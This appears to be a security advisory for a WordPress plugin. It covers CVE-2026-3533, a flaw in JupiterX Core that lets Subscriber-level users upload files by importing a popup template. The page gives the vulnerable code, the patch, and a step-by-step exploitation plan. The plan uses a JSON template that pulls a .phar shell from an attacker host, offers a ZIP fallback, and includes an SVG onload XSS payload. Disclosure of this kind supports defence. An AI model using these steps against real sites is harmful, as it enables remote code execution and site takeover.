JupiterX Core <= 4.14.1 - Authenticated (Subscriber+) Missing Authorization To Limited File Upload via Popup Template Import
Description
The Jupiter X Core plugin for WordPress is vulnerable to limited file uploads due to missing authorization on import_popup_templates() function as well as insufficient file type validation in the upload_files() function in all versions up to, and including, 4.14.1. This makes it possible for Authenticated attackers with Subscriber-level access and above, to upload files with dangerous types that can lead to Remote Code Execution on servers configured to handle .phar files as executable PHP (e.g., Apache+mod_php), or Stored Cross-Site Scripting via .svg, .dfxp, or .xhtml files upload on any server configuration
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.14.1What Changed in the Fix
Changes introduced in v4.14.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-3533 (Jupiter X Core) ## 1. Vulnerability Summary The **Jupiter X Core** plugin (<= 4.14.1) contains a critical missing authorization vulnerability in its popup template import functionality. The class `JupiterX_Core_Control_Panel_Popup` registers an admin ac…
Show full research plan
Exploitation Research Plan - CVE-2026-3533 (Jupiter X Core)
1. Vulnerability Summary
The Jupiter X Core plugin (<= 4.14.1) contains a critical missing authorization vulnerability in its popup template import functionality. The class JupiterX_Core_Control_Panel_Popup registers an admin action import_popup_action which maps to the function import_popup_templates(). This function fails to perform any capability checks (e.g., current_user_can( 'manage_options' )) or nonce verification.
Furthermore, the import process involves an upload_files() function (referenced in the vulnerability description) that performs insufficient validation on files referenced within the imported template JSON or ZIP. This allows an authenticated user with Subscriber-level permissions to upload dangerous files (e.g., .phar, .svg) to the server, leading to Remote Code Execution (RCE) or Stored Cross-Site Scripting (XSS).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php?action=import_popup_action - Hook:
admin_action_import_popup_action - HTTP Method:
POST - Payload Parameter:
file(multipart/form-data) - Authentication: Authenticated (Subscriber+)
- Preconditions:
- The attacker must be logged in as a Subscriber.
- For RCE, the server must be configured to execute
.pharfiles (common in Apache/mod_php environments). - For XSS, any environment is vulnerable via
.svgupload.
3. Code Flow
- Entry Point: A Subscriber sends a POST request to
/wp-admin/admin.php?action=import_popup_action. - Hook Execution: WordPress triggers the
admin_action_import_popup_actionhook, which callsJupiterX_Core_Control_Panel_Popup::import_popup_templates()(defined inincludes/control-panel-2/includes/class-popup.php). - Missing Auth Check:
import_popup_templates()immediately processes$_FILES['file']without checking the user's capabilities or a nonce. - Mime Validation Bypass: The function checks
if ( 'application/zip' !== $file['type'] && 'application/json' !== $file['type'] ). Since$file['type']is derived from the client-sideContent-Typeheader, this is trivial to bypass. - JSON Processing: The function calls
import_popup_template($path). - Sink (Inferred):
import_popup_templatecallsget_imported_template_content()which then triggersupload_files(). This function (likely in a truncated portion of the source or a helper class) processes media/assets defined in the JSON. If the JSON contains a URL or base64 data for a.pharor.svgfile,upload_files()fails to block it due to "insufficient validation," writing it to thewp-content/uploadsdirectory.
4. Nonce Acquisition Strategy
Based on the provided source code for includes/control-panel-2/includes/class-popup.php:
- Result: No nonce is required.
- Reason: The function
import_popup_templates()does not callcheck_ajax_referer,check_admin_referer, orwp_verify_nonce. It is registered viaadd_action( 'admin_action_import_popup_action', ... ), which executes onadmin.phpand expects the action parameter but does not enforce a CSRF token in this plugin's implementation.
5. Exploitation Strategy
Step 1: Authenticate as Subscriber
Log in to the WordPress instance as a Subscriber.
Step 2: Prepare Malicious Elementor Template (JSON)
Create a file named exploit.json. The content must be valid JSON and contain a reference to the malicious file.
Note: Since the exact structure of upload_files is inferred, we use the standard Elementor "media sideload" pattern.
{
"content": [
{
"id": "1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://ATTACKER_IP/shell.phar",
"id": 999
}
}
}
],
"page_settings": {
"title": "Exploit Popup"
}
}
Step 3: Execute File Upload via Import
Send a multipart/form-data POST request to the admin action endpoint.
- URL:
http://localhost:8080/wp-admin/admin.php?action=import_popup_action - Method:
POST - Headers:
Content-Type: multipart/form-data - Body:
file: (binary data ofexploit.json)filePart Header:Content-Type: application/json
Step 4: Locate the Uploaded File
The plugin will attempt to sideload shell.phar. It is typically saved to /wp-content/uploads/YEAR/MONTH/shell.phar.
6. Test Data Setup
- User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker - Attacker Host: Ensure an external HTTP server (or a file in a reachable directory) hosts the payload (e.g.,
shell.pharcontaining<?php phpinfo(); ?>).
7. Expected Results
- HTTP Response: A 302 redirect to
wp-admin/edit.php?post_type=jupiterx-popups(or an error if the JSON structure is partially invalid, but theupload_filescall may have already occurred). - Post Creation: A new post of type
jupiterx-popupsappears in the database. - File Creation: The file
shell.pharormalicious.svgexists in thewp-content/uploadsdirectory.
8. Verification Steps
- Verify Post Creation:
wp post list --post_type=jupiterx-popups - Verify File Presence:
find /var/www/html/wp-content/uploads -name "*.phar" find /var/www/html/wp-content/uploads -name "*.svg" - Confirm RCE (if .phar is executable):
Request the uploaded file viahttp_requestand check for thephpinfooutput.
9. Alternative Approaches
If the JSON "media" import fails (due to environment restrictions on sideloading), attempt a ZIP-based import:
- Create a ZIP containing
exploit.jsonandshell.phar. - Send the ZIP to the same endpoint with
Content-Type: application/zip. - The function
extract_and_validate_zip( $path, [ 'json' ] )(from Elementor/JupiterX) might extract theshell.pharinto a temporary directory underuploads. If the extraction logic fails to clean up non-JSON files or if it moves the entire contents, RCE is achieved.
If RCE is blocked by server configuration, pivot to Stored XSS:
- Use an
.svgpayload in the JSON:{"url": "http://.../xss.svg"}. - The SVG should contain:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>. - Once imported, locate the SVG URL and navigate to it in the browser using
browser_navigate.
Summary
The JupiterX Core plugin for WordPress is vulnerable to arbitrary file uploads because the import_popup_templates function fails to perform authorization or nonce checks. This allows authenticated attackers with Subscriber-level permissions or higher to upload dangerous files, such as .phar for Remote Code Execution (RCE) or .svg for Cross-Site Scripting (XSS), via a malicious popup template import.
Vulnerable Code
// includes/control-panel-2/includes/class-popup.php:36 add_action( 'admin_action_import_popup_action', [ $this, 'import_popup_templates' ] ); --- // includes/control-panel-2/includes/class-popup.php:124 public function import_popup_templates() { $file = filter_var_array( $_FILES, FILTER_DEFAULT, FILTER_REQUIRE_ARRAY ); if ( empty( $file ) ) { wp_die( esc_html__( 'Empty file.', 'jupiterx-core' ) ); } $file = $file['file']; if ( 'application/zip' !== $file['type'] && 'application/json' !== $file['type'] ) { wp_die( esc_html__( 'Format not allowed', 'jupiterx-core' ) ); } $path = $file['tmp_name']; $templates = []; if ( 'application/zip' === $file['type'] ) { // ... extraction logic ... } if ( 'application/json' === $file['type'] ) { $templates = $this->import_popup_template( $path ); } // ... remaining logic ... }
Security Fix
@@ -124,6 +124,12 @@ public function import_popup_templates() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( esc_html__( 'You do not have access to this section.', 'jupiterx-core' ) ); + } + + check_admin_referer( 'jupiterx-import-template', 'jupiterx-import-template-nonce' ); + $file = filter_var_array( $_FILES, FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
Exploit Outline
The exploit targets the unprotected 'import_popup_action' admin action. An attacker first authenticates as a Subscriber user and then sends a multipart/form-data POST request to /wp-admin/admin.php?action=import_popup_action. The payload consists of a 'file' parameter containing a malicious JSON Elementor template. This JSON structure includes a media reference (e.g., an image URL) pointing to a dangerous file hosted on an attacker-controlled server (such as a .phar shell or a .svg XSS payload). The attacker sets the Content-Type of the file part to 'application/json' to satisfy the plugin's basic mime-type check. The plugin then sideloads the referenced file into the standard WordPress uploads directory without further validation, allowing the attacker to execute it or trigger XSS.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.